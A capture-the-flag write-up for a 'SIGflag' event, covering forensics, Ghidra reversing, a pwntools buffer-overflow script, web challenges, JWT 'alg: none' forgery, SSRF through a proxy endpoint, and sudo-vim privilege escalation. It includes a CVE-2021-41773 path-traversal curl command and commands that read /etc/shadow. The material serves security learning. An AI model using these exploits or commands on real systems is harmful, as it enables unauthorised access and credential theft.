Easy: SIG{I_READ_THE_INTRO}
$ strings flash.bin | rg SIG
SIGFLAGMEM FAT16
SIGFLAGMEM
SIG{S01_FAT_boy_cannot_find_me}
eSIG
SIG{S01_FAT_boy_cannot_find_me}
We can mount the filesystem:
$ sudo mount flash.bin /mnt/test
$ exa -alh /mnt/test
Permissions Size User Date Modified Name
.rwxr-xr-x 214k root 22 Okt 23:08 .ascii
.rwxr-xr-x 65 root 22 Okt 23:08 flag.txt
.rwxr-xr-x 9,7M root 22 Okt 23:08 secure.zip
Let's try and read the flag:
$ cat /mnt/test/flag.txt
U0lHe1MwMl9ub19wbGFpbnRleHR9CnBhc3N3b3JkOmZhZXF1dWlsOHVWYWhuZTEK
This looks encoded, let's try and throw it into CyberChef with the Magic
block:
Oh, so it's just Base64:
SIG{S02_no_plaintext}
password:faequuil8uVahne1
Nice, we got our next flag: SIG{S02_no_plaintext}
We can extract the zip file with the password from the previous challenge. We can search the file for flags again:
$ strings Lost\ Woods.mp3 | rg SIG
SIG{S03_hypersecure_compression}
And it worked: SIG{S03_hypersecure_compression}
$ exa -alh /mnt/test
Permissions Size User Date Modified Name
.rwxr-xr-x 214k root 22 Okt 23:08 .ascii
.rwxr-xr-x 65 root 22 Okt 23:08 flag.txt
.rwxr-xr-x 9,7M root 22 Okt 23:08 secure.zip
If you paid close attention to the output, you can see the .ascii
file. You can open it in any text editor where you can zoom out and you'll get this image:
Flag: SIG{S04_I_LIKE_ASCIInema}
We can take a look at all the strings embedded inside the program and then just filter them.
$ strings level1 | rg SIG
SIG{r3v3rs1ng_1s_fun}
If we try to use strings
again, we'll just see a format string:
$ strings level2 | rg SIG
Correct! The flag is SIG{%s}
If we open the binary in Ghidra, we can see the following pseudocode for main()
:
undefined8 main(undefined4 param_1)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
undefined4 local_2c;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_2c = param_1;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
printf("What is the secret?\n> ");
fgets(local_28,0x14,stdin);
printf("Got \"%s\"",local_28);
sVar2 = strlen(local_28);
local_28[sVar2 - 1] = '\0';
iVar1 = checkpassword(local_28);
if (iVar1 == 1) {
printf("Correct! The flag is SIG{%s}\n",local_28);
}
else {
puts("That was not it!");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
As you can see, there's a call to checkpassword
. Let's go over the pseudocode:
param_1
: User inputlocal_28
-local_18
: Variables defined one after each other on the stack. This is equivalent to an array, but Ghidra doesn't recognize it. By default, these values are just shown as integers, but you can change their type by right clicking and selectingChar
representation.
bool checkpassword(char *param_1)
{
int iVar1;
long in_FS_OFFSET;
char local_28;
undefined local_27;
undefined local_26;
undefined local_25;
undefined local_24;
undefined local_23;
undefined local_22;
undefined local_21;
undefined local_20;
undefined local_1f;
undefined local_1e;
undefined local_1d;
undefined local_1c;
undefined local_1b;
undefined local_1a;
undefined local_19;
undefined local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_28 = 'd';
local_27 = 'y';
local_26 = 'n';
local_25 = '4';
local_24 = 'm';
local_23 = '1';
local_22 = 'c';
local_21 = '_';
local_20 = '4';
local_1f = 'n';
local_1e = '4';
local_1d = 'l';
local_1c = 'y';
local_1b = '5';
local_1a = '1';
local_19 = '5';
local_18 = 0;
iVar1 = strcmp(param_1,&local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return iVar1 == 0;
}
At the very end, there's a call to strcmp
which compares the string against our input. Thus, our flag is: SIG{dyn4m1c_4n4ly515}
Opening the binary in Ghidra again, we can notice that it's quite similar and that there's a checkpassword
function again. Let's take a look how it's defined (I renamed some of the variables to make it easier to understand):
bool checkpassword(char *flag)
{
long i;
uint diff;
i = 0;
diff = 0;
do {
diff = diff | *(uint *)(flag + i) ^ *(uint *)(MAGIC1 + i) ^ *(uint *)(MAGIC2 + i);
i = i + 4;
} while (i != 16);
return diff == 0;
}
Let's simplify it even more:
def solve(flag):
for i in range(0, 16):
diff |= flag ^ magic1[i] ^ magic2[i]
return diff == 0
As you may know, XOR (exclusive or) can only return 0 if we have the same value. So we can precompute the magic values, and get the flag:
magic = [
0x67,
0x45,
0x8B,
0x6B,
0xC6,
0x23,
0x7B,
0x32,
0x69,
0x98,
0x3C,
0x64,
0x73,
0x48,
0x33,
0x66,
]
magic2 = [
0x34,
0x0C,
0xCC,
0x10,
0xF7,
0x10,
0x48,
0x05,
0x36,
0xF0,
0x08,
0x1C,
0x0B,
0x78,
0x41,
0x1B,
]
for i in range(0, len(magic)):
print(chr(magic[i] ^ magic2[i]), end="")
This script returns the flag: SIG{1337_h4xx0r}
We have to find a buffer overflow in the binary. We can do so by just entering a random amount of characters when executing the binary until we crash:
$ ./pwn1
I sure hope noone calls shell()...
Give me some input
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Alright you gave me AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@
fish: Job 1, './pwn1' terminated by signal SIGSEGV (Address boundary error)
Nice! We can now try to the the minimum number of characters by repeating the same process. You'll notice that we can pass 32 characters without breaking the program. So what happens if we pass 40 or 48 characters? Let's find out.
Luckily, we can attach gdb via our python script:
from pwn import *
context(arch = 'amd64', os = 'linux', terminal=['tmux', 'split-window', '-h'])
io = process("./pwn1")
gdb.attach(io, gdbscript='continue')
print(io.recvuntil(b">", drop=False))
payload = 32 * b"A"
payload += p64(0x0) # rbp
payload += p64(0xdeadbeef) # rip
io.sendline(payload)
io.interactive()
We can print all the registers with the info registers
(short: i r
) command:
(gdb) info registers
rax 0x48 72
rbx 0x4002e0 4195040
rcx 0x4339c0 4405696
rdx 0x6b4720 7030560
rsi 0x7fffffff4750 140737488308048
rdi 0x0 0
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffff6de8 0x7fffffff6de8
r8 0x6b6880 7039104
r9 0x48 72
r10 0xffffffffffffffff -1
r11 0x246 582
r12 0x401770 4200304
r13 0x401800 4200448
r14 0x0 0
r15 0x0 0
rip 0xdeadbeef 0xdeadbeef
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
As you can see, we overwrote rbp and rip. We can now set rip to whereever we want and the code execution will continue from there. If you opened the binary in Ghidra or IDA, you probably noticed the shell function. It calls system
with /bin/sh
as param.
.text:0000000000400B83 shell proc near
.text:0000000000400B83 ; __unwind {
.text:0000000000400B83 push rbp
.text:0000000000400B84 mov rbp, rsp
.text:0000000000400B87 lea rdi, aBinSh ; "/bin/sh"
.text:0000000000400B8E call system
.text:0000000000400B93 nop
.text:0000000000400B94 pop rbp
.text:0000000000400B95 retn
.text:0000000000400B95 ; } // starts at 400B83
Setting rip to 0x400B83 (start of shell function) won't work! Why? Because we are overwriting rbp (stack base pointer) with some random value which won't be valid. We can get around that by just jumping to the call and parameter setup at 0x400B87
directly. Now it works and we get flag.
We can connect to a server and encrypt or decrypt something. Let's try to decrypt the flag.
$ nc game.sigflag.at 3004
What would you like to do ?
[1] Encrypt something
[2] Decrypt something
[3] Shut down
--> 2
Please enter your encrypted message
--> 0xbfda36fe05ae4e94fa2e9ff4ea5e655222dcef4fd5da2044f04d7d4af250
ERROR: Refusing to decrypt flags for security reasons
Hmm, they detect that. Probably by comparing the decrypted output if it contains the SIG{
prefix. Let's try and remove the leading number.
$ nc game.sigflag.at 3004
What would you like to do ?
[1] Encrypt something
[2] Decrypt something
[3] Shut down
--> 2
Please enter your encrypted message
--> 0xfda36fe05ae4e94fa2e9ff4ea5e655222dcef4fd5da2044f04d7d4af250
Traceback (most recent call last):
File "/challenge.py", line 65, in <module>
start()
File "/challenge.py", line 57, in start
decrypt()
File "/challenge.py", line 37, in decrypt
cleartext=binascii.unhexlify(hex(decrypted)[2:])
binascii.Error: Odd-length string
$ nc game.sigflag.at 3004
What would you like to do ?
[1] Encrypt something
[2] Decrypt something
[3] Shut down
--> 2
Please enter your encrypted message
--> 0xda36fe05ae4e94fa2e9ff4ea5e655222dcef4fd5da2044f04d7d4af250
Decryptio
we have to find all hidden exam questions. the first one is linked in the HTML and not hard to find: http://game.sigflag.at:3071/questions.txt
<h1>1 Semester Exam Questions</h1>
<a href="questions.txt">questions.txt</a>
the second set of questions can be accessed by clicking on the link in the DevTools (http://game.sigflag.at:3072/harder-questions.txt
), bypassing the script.
<h1>2 Semester Exam Questions</h1>
<a href="harder-questions.txt" onclick="alert('You are not supposed to access this!'); return false;">Questions</a>
the third set of questions can be accessed only with authentication at http://game.sigflag.at:3073/intermediate-questions.txt
.
luckily, the professor left us the passwords http://game.sigflag.at:3073/passwords.txt
:
Username: professor
Password: ThisIsMySuperSecurePassword
Note to self: Change this every 24 hours
File last edited: 21.09.2005
both .htaccess
and .htpasswd
were exposed:
https://game.sigflag.at:3084/exam/.htaccess
:
# This file is not accessible for visitors.
# Except you mess up the configuration of course...
AuthUserFile /usr/local/apache2/htdocs/.htpasswd
AuthType Basic
AuthName "4 Semester Exam"
Require valid-user
https://game.sigflag.at:3084/.htpasswd
:
# professor:PlainTextPasswordsAreToBeAvoided
professor:$apr1$r7moi2dx$v4ty7TUbdmJuR2Ha0zWLt1
This is the hint we have:
<Directory />
Require all granted
Options +Indexes
</Directory>
Alias /admin /
we can browse the file system by going to http://game.sigflag.at:3075/admin
and eventually find the questions here: http://game.sigflag.at:3075/admin/opt/well_hidden_questions.txt
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /exam</title>
</head>
<body>
<h1>Index of /exam</h1>
<ul><li><a href="/"> Parent Directory</a></li>
<li><a href="1st_castle.txt"> 1st_castle.txt</a></li>
<li><a href="another_castle.txt"> another_castle.txt</a></li>
<li><a href="linear_algebra.txt"> linear_algebra.txt</a></li>
<li><a href="portal.txt"> portal.txt</a></li>
</ul>
</body></html>
The questions could be found at http://game.sigflag.at:3076/exam/questions.txt
, without any password.
the hint given was CVE-2021-41773
- a search online revealed ways exploit it
curl "https://game.sigflag.at:3087/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/home/bpfh/flag.txt" --insecure --path-as-is
get the info of user flag1
: http://game.sigflag.at:3002/userinfo/flag1
users = DefaultDict(
{
"test": "test",
"flag1": environ["FLAG1"],
"local": environ["FLAG10"],
"admin": environ["FLAG5"],
}
)
@data.get("/userinfo/{username}")
async def userinfo(username: int | str, request: Request, authorize: AuthJWT = Depends()):
if username == "admin":
authorize.jwt_required() # protect the admins!
if authorize.get_raw_jwt().get("superadmin", False):
return {"I thought we disabled this feature": environ["FLAG7"]}
if username == "local":
if not request.client.host == "127.0.0.1":
raise HTTPException(401, "You are not localhost")
if not (password := users[username]):
return {
"Will you stop having an invalid password if I give you a flag?": environ[
"FLAG8"
]
}
return {"name": username, "pass": password}
Create a JWT-token with alg
set to None
in the header of the token.
Then either write the token into the access_token_cookie
-cookie or just send the request with the cookie set in the request
after that just send the request: http://game.sigflag.at:3002/crypto?guess=
@data.get("/crypto")
async def crypto_guess(
request: Request, authorize: AuthJWT = Depends(), guess: str = "base64encoded"
):
"""You'll get TWO flags, if you can guess the b64-signature of the flags. <br/>
This crypto issue wouldn't happen if we used AuthJWT properly. <br/>
We'll use the algo from your token. You may want to look at the source code."""
algo = jwt_algo(authorize, request)
payload = {environ["FLAG6"]: environ["FLAG2"]}
if jwt_signature(payload, algo) == guess:
return JSONResponse(list(payload.values()), 200)
else:
raise HTTPException(
401, "Invalid guess or algorithm. Do you know all the jwt-algorithms?"
)
log in with user FLAG3
pw FLAG3
FORBIDDEN = "FLAG3"
@auth.post("/login")
async def login(username=Form(), password=Form(), authorize: AuthJWT = Depends()):
"""Possible users are test, flag1, local, admin"""
if users.get(username) != password:
return JSONResponse({"msg": "Bad username or password"}, 401)
if username == FORBIDDEN:
users.pop(FORBIDDEN)
return {
"This user shouldn't exist, I'll give you a flag to keep it a secret": environ[
FORBIDDEN
]
}
access_token = authorize.create_access_token(
subject=username, user_claims={"superadmin": password == "super"}
)
resp = RedirectResponse("/")
authorize.set_access_cookies(access_token, resp)
return resp
since every call of the /proxy
endpoint takes at least 1 second, we can chain 5 together to get to the 5 second threshold: http://game.sigflag.at:3002/proxy/proxy/proxy/proxy/proxy/proxy
@app.middleware("http")
async def timeout_middleware(request: Request, call_next):
"""if a user crafts a request that takes >5 secs, abort"""
try:
return await asyncio.wait_for(call_next(request), timeout=5.0)
except asyncio.TimeoutError:
return JSONResponse(
{"Will you stop DDOSing me for a flag?": environ["FLAG4"]}, status_code=504
)
@data.get("/proxy/{path:path}")
def localproxy(path: str):
"""Yo dawg, I heard you like... <br/> Delayed for ddos protection"""
time.sleep(1)
return PlainTextResponse(requests.get("http://localhost/" + path).text)
since we only need some JWT cookie (the content is never checked), we can log in as any user and get the admin password: http://game.sigflag.at:3002/userinfo/admin
users = DefaultDict(
{
"test": "test",
"flag1": environ["FLAG1"],
"local": environ["FLAG10"],
"admin": environ["FLAG5"],
}
)
@data.get("/userinfo/{username}")
async def userinfo(username: int | str, request: Request, authorize: AuthJWT = Depends()):
if username == "admin":
authorize.jwt_required() # protect the admins!
if authorize.get_raw_jwt().get("superadmin", False):
return {"I thought we disabled this feature": environ["FLAG7"]}
if username == "local":
if not request.client.host == "127.0.0.1":
raise HTTPException(401, "You are not localhost")
if not (password := users[username]):
return {
"Will you stop having an invalid password if I give you a flag?": environ[
"FLAG8"
]
}
return {"name": username, "pass": password}
to get FLAG6
a token with alg
set to ""
must be sent to: http://game.sigflag.at:3002/crypto
the problem
lies with the fact that no tool for creating JWT-tokens allows alg
to be ""
so a custom token has to be created
{
"alg": "",
"typ": "JWT"
}
ewogICJhbGciOiAiIiwKICAidHlwIjogIkpXVCIKfQ
{
"sub": "test",
"iat": 1667718377,
"nbf": 1667718377,
"jti": "24b80158-a30d-4807-bfe7-bb0ab8e60fbe",
"exp": 1754031977,
"type": "access",
"fresh": false,
"superadmin": false
}
ewogICAgInN1YiI6ICJ0ZXN0IiwKICAgICJpYXQiOiAxNjY3NzE4Mzc3LAogICAgIm5iZiI6IDE2Njc3MTgzNzcsCiAgICAianRpIjogIjI0YjgwMTU4LWEzMGQtNDgwNy1iZmU3LWJiMGFiOGU2MGZiZSIsCiAgICAiZXhwIjogMTc1NDAzMTk3NywKICAgICJ0eXBlIjogImFjY2VzcyIsCiAgICAiZnJlc2giOiBmYWxzZSwKICAgICJzdXBlcmFkbWluIjogZmFsc2UKfQ
ewogICJhbGciOiAiIiwKICAidHlwIjogIkpXVCIKfQ.ewogICAgInN1YiI6ICJ0ZXN0IiwKICAgICJpYXQiOiAxNjY3NzE4Mzc3LAogICAgIm5iZiI6IDE2Njc3MTgzNzcsCiAgICAianRpIjogIjI0YjgwMTU4LWEzMGQtNDgwNy1iZmU3LWJiMGFiOGU2MGZiZSIsCiAgICAiZXhwIjogMTc1NDAzMTk3NywKICAgICJ0eXBlIjogImFjY2VzcyIsCiAgICAiZnJlc2giOiBmYWxzZSwKICAgICJzdXBlcmFkbWluIjogZmFsc2UKfQ.ZmZiZDg5ZWM0OTBhNjMzZjM3ZjAzZjU2YmVmZWQwNGFkZDcxNGIzODVhN2JlZTE5Y2I0OWZjNzU4MjA3ODdmZg
from typing import Optional, Dict
from fastapi import HTTPException
import jwt
def jwt_username(authorize, request) -> Optional[str]:
if cookie := request.cookies.get(authorize._access_cookie_key): # noqa
return jwt.decode(cookie, options={"verify_signature": False})["sub"]
def jwt_algo(authorize, request) -> Optional[str]:
if cookie := request.cookies.get(authorize._access_cookie_key): # noqa
return jwt.get_unverified_header(cookie)["alg"]
else:
raise ValueError("No jwt or alg")
def jwt_signature(payload: Dict, algo: str) -> Optional[bytes]:
if algo == "":
raise HTTPException(status_code=418, detail=list(payload.keys()))
tok = jwt.encode(payload, "", algorithm=algo).decode()
return tok.split(".")[2]
@data.get("/crypto")
async def crypto_guess(
request: Request, authorize: AuthJWT = Depends(), guess: str = "base64encoded"
):
"""You'll get TWO flags, if you can guess the b64-signature of the flags. <br/>
This crypto issue wouldn't happen if we used AuthJWT properly. <br/>
We'll use the algo from your token. You may want to look at the source code."""
algo = jwt_algo(authorize, request)
payload = {environ["FLAG6"]: environ["FLAG2"]}
if jwt_signature(payload, algo) == guess:
return JSONResponse(list(payload.values()), 200)
else:
raise HTTPException(
401, "Invalid guess or algorithm. Do you know all the jwt-algorithms?"
)
login with name: test
: pwd:test
and get the JWT-token from storage and change superadmin
to true
then just get the userinfo from admin
: http://game.sigflag.at:3002/userinfo/admin
with the token
class Settings(BaseModel):
authjwt_secret_key: str = environ.get("SECRET", "SECRET") # don't forget to set this in prod, lol
authjwt_token_location: set = {"cookies"}
authjwt_cookie_csrf_protect: bool = False
authjwt_access_token_expires: int = timedelta(days=999)
@data.get("/userinfo/{username}")
async def userinfo(username: int | str, request: Request, authorize: AuthJWT = Depends()):
if username == "admin":
authorize.jwt_required() # protect the admins!
if authorize.get_raw_jwt().get("superadmin", False):
return {"I thought we disabled this feature": environ["FLAG7"]}
if username == "local":
if not request.client.host == "127.0.0.1":
raise HTTPException(401, "You are not localhost")
if not (password := users[username]):
return {
"Will you stop having an invalid password if I give you a flag?": environ[
"FLAG8"
]
}
return {"name": username, "pass": password}
because the userinfo endpoint takes integers, we can use the username 0
to get flag 8 since the integer 0
is falsy: http://game.sigflag.at:3002/userinfo/0
@data.get("/userinfo/{username}")
async def userinfo(username: int | str, request: Request, authorize: AuthJWT = Depends()):
if username == "admin":
authorize.jwt_required() # protect the admins!
if authorize.get_raw_jwt().get("superadmin", False):
return {"I thought we disabled this feature": environ["FLAG7"]}
if username == "local":
if not request.client.host == "127.0.0.1":
raise HTTPException(401, "You are not localhost")
if not (password := users[username]):
return {
"Will you stop having an invalid password if I give you a flag?": environ[
"FLAG8"
]
}
return {"name": username, "pass": password}
flag 9 is only shown if an exception is triggered and the request comes from localhost
if we call the /crypto
endpoint with no parameters, we can trigger the exception - and the request comes from localhost if we send it through the /proxy
endpoint: http://game.sigflag.at:3002/proxy/crypto
@data.get("/crypto")
async def crypto_guess(
request: Request, authorize: AuthJWT = Depends(), guess: str = "base64encoded"
):
"""You'll get TWO flags, if you can guess the b64-signature of the flags. <br/>
This crypto issue wouldn't happen if we used AuthJWT properly. <br/>
We'll use the algo from your token. You may want to look at the source code."""
algo = jwt_algo(authorize, request)
payload = {environ["FLAG6"]: environ["FLAG2"]}
if jwt_signature(payload, algo) == guess:
return JSONResponse(list(payload.values()), 200)
else:
raise HTTPException(
401, "Invalid guess or algorithm. Do you know all the jwt-algorithms?"
)
@data.get("/proxy/{path:path}")
def localproxy(path: str):
"""Yo dawg, I heard you like... <br/> Delayed for ddos protection"""
time.sleep(1)
return PlainTextResponse(requests.get("http://localhost/" + path).text)
@app.exception_handler(Exception)
def general_exception_handler(req: Request, exc: Exception):
"""For debugging, local users should get a full stack trace"""
if req.client.host == "127.0.0.1":
try:
raise exc
except Exception: # noqa
return PlainTextResponse(format_exc() + environ["FLAG9"], status_code=500)
else:
return PlainTextResponse(str(exc), 500)
we can only access the user info of the local
user if the request comes from localhost
the /proxy
endpoint allows us to send requests to localhost: http://game.sigflag.at:3002/proxy/userinfo/local
users = DefaultDict(
{
"test": "test",
"flag1": environ["FLAG1"],
"local": environ["FLAG10"],
"admin": environ["FLAG5"],
}
)
@data.get("/proxy/{path:path}")
def localproxy(path: str):
"""Yo dawg, I heard you like... <br/> Delayed for ddos protection"""
time.sleep(1)
return PlainTextResponse(requests.get("http://localhost/" + path).text)
@data.get("/userinfo/{username}")
async def userinfo(username: int | str, request: Request, authorize: AuthJWT = Depends()):
if username == "admin":
authorize.jwt_required() # protect the admins!
if authorize.get_raw_jwt().get("superadmin", False):
return {"I thought we disabled this feature": environ["FLAG7"]}
if username == "local":
if not request.client.host == "127.0.0.1":
raise HTTPException(401, "You are not localhost")
if not (password := users[username]):
return {
"Will you stop having an invalid password if I give you a flag?": environ[
"FLAG8"
]
}
return {"name": username, "pass": password}
because we can execute vim via sudo, we can use it to execute commands as root via :!
the first flag is in root's home
# in vim
:!cat /root/flag
the second flag is in the environment
this command can be executed without root privileges
printenv
the next flag is in the passwd file, accessible to everyone
cat /etc/passwd
the next flag is in the shadow file, only accessible to root
# in vim
:!cat /etc/shadow
the next flag is also in the shadow file, but base64 encoded
# in vim
:!cat /etc/shadow
decode U0lHe00wNS1TbGlnaHRseUIzdHRlckhpZGRlblBhc3N3b3JkfQ==
(base64)
the 6th flag is in the root home directory, hidden from ls
since it's prefixed with .
#in vim
:!cat /root/.flag
the next flag is also there, but base85 encoded
# in vim
:!cat /root/.encryptedflag85
decode ;b9K+9e\LX6=FqH2De!H=(-ARDf8'QF*U5nE\`?^dF+"
(base85)
the last flag is revealed by executing man
:
man
get the dates git log --pretty=format:"%ad" | cat
and use the hours/minutes as coordinates in a 60x60 image:
const input = `Sat Jan 1 02:45:00 2000 +0100
Sat Jan 1 02:41:00 2000 +0100
...
Sat Jan 1 15:01:00 2000 +0100`;
const result = [];
for (let i = 0; i < 60; ++i) {
result[i] = [...new Array(60)].fill(" ");
}
const times = input
.replace(/Sat Jan 1 /gi, "")
.replace(/:00 2000 \+0100/gi, "")
.split("\n");
for (const time of times) {
const [hour, minute] = time.split(":").map((t) => +t);
result[hour][minute] = "■";
}
console.log(
result
.reverse()
.map((a) => a.join(""))
.join("\n")
);
■■■■ ■■■ ■■■ ■ ■ ■
■ ■ ■ ■ ■ ■■■ ■■ ■ ■■■
■■■ ■ ■ ■ ■ ■ ■ ■■■ ■ ■
■ ■ ■ ■■ ■ ■ ■ ■ ■ ■■■ ■ ■
■ ■ ■ ■ ■ ■■■■ ■ ■ ■■■■
■■■■ ■■■ ■■■■ ■ ■ ■■■ ■■ ■
■■■ ■■■
■ ■ ■
■ ■ ■ ■■■ ■ ■ ■ ■ ■ ■
■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■
■ ■ ■■■■ ■■■ ■ ■ ■ ■ ■ ■ ■■■■ ■
■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■
■■■ ■■■■ ■ ■ ■ ■ ■■■■ ■
if you assign the dark squares of the poster 1
and the light squares 0
, then this binary message translates to The challenge is in another castle!
the certificate can be parsed with CyberChef:
this string can be parsed with CyberChef: